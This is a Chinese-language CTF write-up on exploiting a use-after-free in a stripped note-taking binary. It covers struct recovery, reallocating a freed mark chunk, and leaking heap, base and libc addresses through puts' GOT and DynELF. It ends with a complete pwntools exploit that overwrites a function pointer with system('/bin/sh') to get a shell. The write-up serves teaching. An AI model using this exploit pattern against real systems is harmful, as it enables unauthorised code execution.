在那个只有零和一的世界里,对零的向往,终究是一的执着。

正在下载:6_uaf.zip pwn专题入门分享系列记录6

命令列表

把程序托到IDA里分析后,对应出了这8个函数(稍微分析一下即可,此处没法F5):

命令代码

调试程序的时候发现经常过一会就自动报异常退出了,往上看代码才发现贱贱地加了个时钟,于是随手patch掉才可以放心地测试程序(如上文中命令列表截图中使用patch后的程序“pwn3_patch”):

patch时钟

接着是分析程序流程和漏洞,程序功能主要分两部分,一部分是对“note”即记事本内容的增删改查,另一部分是对“note mark”即记事本标记的增删改查。先看第一部分,对记事本内容的操作管理主要是通过一个结构体来进行的,根据子函数new的分配流程可以分析出该结构体的结构:

new命令函数

分析出的note结构体,大小为0x30字节(如上图分配):

note结构

这部分暂时没挑出毛病,为了实现note的功能还算可以,删改查函数也比较正常(这里就不贴代码了,具体可以参见附件的idb)。然后看第二部分,对记事本标记的操作管理同样通过一个自定义的结构体来进行,分析其分配过程函数mark:

mark函数

同样分析出的note_mark结构体,大小为0x18字节(如上图分配):

mark结构

这部分mark功能就有意思了,出现了一个函数指针“p_func_puts”,也就是指向代码中“sub_C43”的那个字段,其本意是为了实现show_mark时方便直接调用“sub_C43”来输出“p_mark_info”的内容:

show_mark函数

“sub_C43”函数就是直接调用“puts”函数来输出参数“p_mark_info”指向的字符串(tip参数为IDA识别,由于调用约定不一致多出来的不准确,忽略即可):

输出函数

这里,老司机们眼睛估计贼亮了,把函数指针和参数改掉,shell不是手到擒来么。事实上,出题者的本意应该也就是要这样了。来看看本题最大的漏洞吧:

漏洞函数

这个漏洞函数比较明显,将mark指针释放完却没有将其清空,也就成为了所谓的“野指针”,形成“UAF”(use after free,释放后重用)漏洞。并且,作者为了怕我们跑偏去搞“double free”,特地限制了一下free的次数。那么我们就顺着作者的思路来解题吧,现在利用的关键就是针对mark的数据结构进行修改实现劫持,可以使用UAF漏洞来对mark结构数据进行编辑,如何做呢?很简单,先用delete_mark释放掉一个mark结构堆块,然后利用new马上分配一块容量与mark结构相同的堆块(0x18字节),这时释放掉的却没被情况的野指针就又可以重新引用了,并且可以通过修改新分配note的内容来对mark进行编辑,实现任意劫持的效果:


from pwn import *
import binascii
 
target = process("./pwn3_ok") #local
#target = remote("54.222.255.223", 50003) #remote
target.recvuntil('$')
 
def new(size, name, content):
    target.sendline('new')
    target.recvuntil('$ note size:')
    target.sendline(str(size))
    target.recvuntil('$ note name:')
    target.sendline(name)
    target.recvuntil('$ note content:')
    target.sendline(content)
    target.recvuntil('$')
 
def mark(index, info):
    target.sendline('mark')
    target.recvuntil('$ index of note you want to mark:')
    target.sendline(str(index))
    target.recvuntil('$ mark info:')
    target.sendline(info)
    target.recvuntil('$')
 
def delete_mark(index):
    target.sendline('delete_mark')
    target.recvuntil('$ mark index:')
    target.sendline(str(index))
    target.recvuntil('$')
 
#use after free     =>  note.p_note_content  =>  note_mark 
new(0x18, '0', '0')
mark(0, '/bin/sh')
delete_mark(0)
new(0x18, '1', '1')

此时,我们已经分配到了刚被释放的那块mark结构数据,可以通过对note内容的修改来编辑mark结构数据,并且由于“list_mark[0]”没有清空可以重新引用该mark。由于我们仅仅给新分配的note赋值一个字符的内容(“1”),所以此时还没有覆盖到mark数据结构后面两个关键的指针p_mark_info和p_func_puts,于是可以调用命令“show”,将这两个指针读取出来,这就泄漏了一个堆地址和程序运行地址,从而可以计算出程序运行基址函数的got表地址,保存后面便于利用:


pwnfile = ELF("./pwn3_ok")
 
def show(index):
    target.sendline('show')
    target.recvuntil('$ note index:')
    target.sendline(str(index))
    return target.recvuntil('$')
 
#leak info
buf = show(1) #leak mark info buf addr and sub_C43 addr
pos = buf.find("content:") + 16
addr_heap = u64(buf[pos:pos+8])
addr_func = u64(buf[pos+8:pos+16])
addr_base = addr_func - 0x0c43
got_puts = pwnfile.got['puts'] + addr_base
print 'addr_heap : %016x' % addr_heap
print 'addr_func : %016x' % addr_func
print 'addr_base : %016x' % addr_base
print 'got_puts : %016x' % got_puts

当然,根据我们的目标,我们还需要获取system地址,本题题目给了个libc的so库文件,想要让我们计算出system地址的偏移。然而其实完全不需要,一方面我们还没有获取到libc函数的地址,算不出system函数的地址,另一方面如果我们用下面的方法获取到了puts函数的地址,从而计算system地址的话,完全可以写一个leak函数,然后通过pwntools的DynELF库来进行libc函数地址泄漏。获取puts函数的地址很简单,就是修改mark结构的p_mark_info字段,指向程序中puts函数的got表地址,这样再调用一下show_mark命令即可输出got表项里的puts函数地址,leak函数的实现同样也是利用此原理:


def show_mark(index):
    target.sendline('show_mark')
    target.recvuntil('$ mark index:')
    target.sendline(str(index))
    return target.recvuntil('$')
 
def leak(addr, size=1):
    i = 0
    result = ''
    while len(result) < size:
        edit(1, '1', p64(0) + p64(addr + i) + p64(addr_func)) #alert mark 0 struct to print any addr string
        buf = show_mark(0)
        find = buf.rfind('$')
        if find <= 1:
            find = 1
            result += '\x00'
        else:
            find = find - 1 #'\n'
            result += buf[0:find]
        i += find
    return result
 
#leak libc func addr
addr_puts = u64(leak(got_puts, 8))
print 'addr_puts : %016x' % addr_puts
d = DynELF(leak, addr_puts) #leak libc moudle base
addr_libc = d.lookup(None, 'libc')
print 'addr_libc : %016x' % addr_libc
d = DynELF(leak, addr_libc + 0x1234) #!important:moudle base + 0x1234
addr_system = d.lookup('system')
#addr_system = addr_puts - 0x68F60 + 0x3F460 #local
#addr_system = addr_puts - libcfile.symbols['puts'] + libcfile.symbols['system'] #remote
print 'addr_system : %016x' % addr_system

Leak出了system函数的地址后,最后就简单了,直接把p_func_puts指针替换成system函数的地址,p_mark_info改回原来保存的“/bin/sh”字符串指针addr_heap,再调用一次show_mark命令,拿shell:


#exp
edit(1, '1', p64(0) + p64(addr_heap) + p64(addr_system)) #alert mark 0 struct to call any addr code with any first arg
target.sendline('show_mark')
target.recvuntil('$ mark index:')
target.sendline(str(0))
 
target.interactive() 

最后贴一下本地shell的截图:

getshell

本题主要考察的是UAF漏洞的利用,单纯从漏洞分析的角度来看比较简单,比较繁琐的还是在于程序流程的分析上,由于相关符号都去掉了,只能自己测试和分析功能函数,包括关键的结构体,其他的都还好,不需要用到想象中的double free~

OK,本题分享到此结束。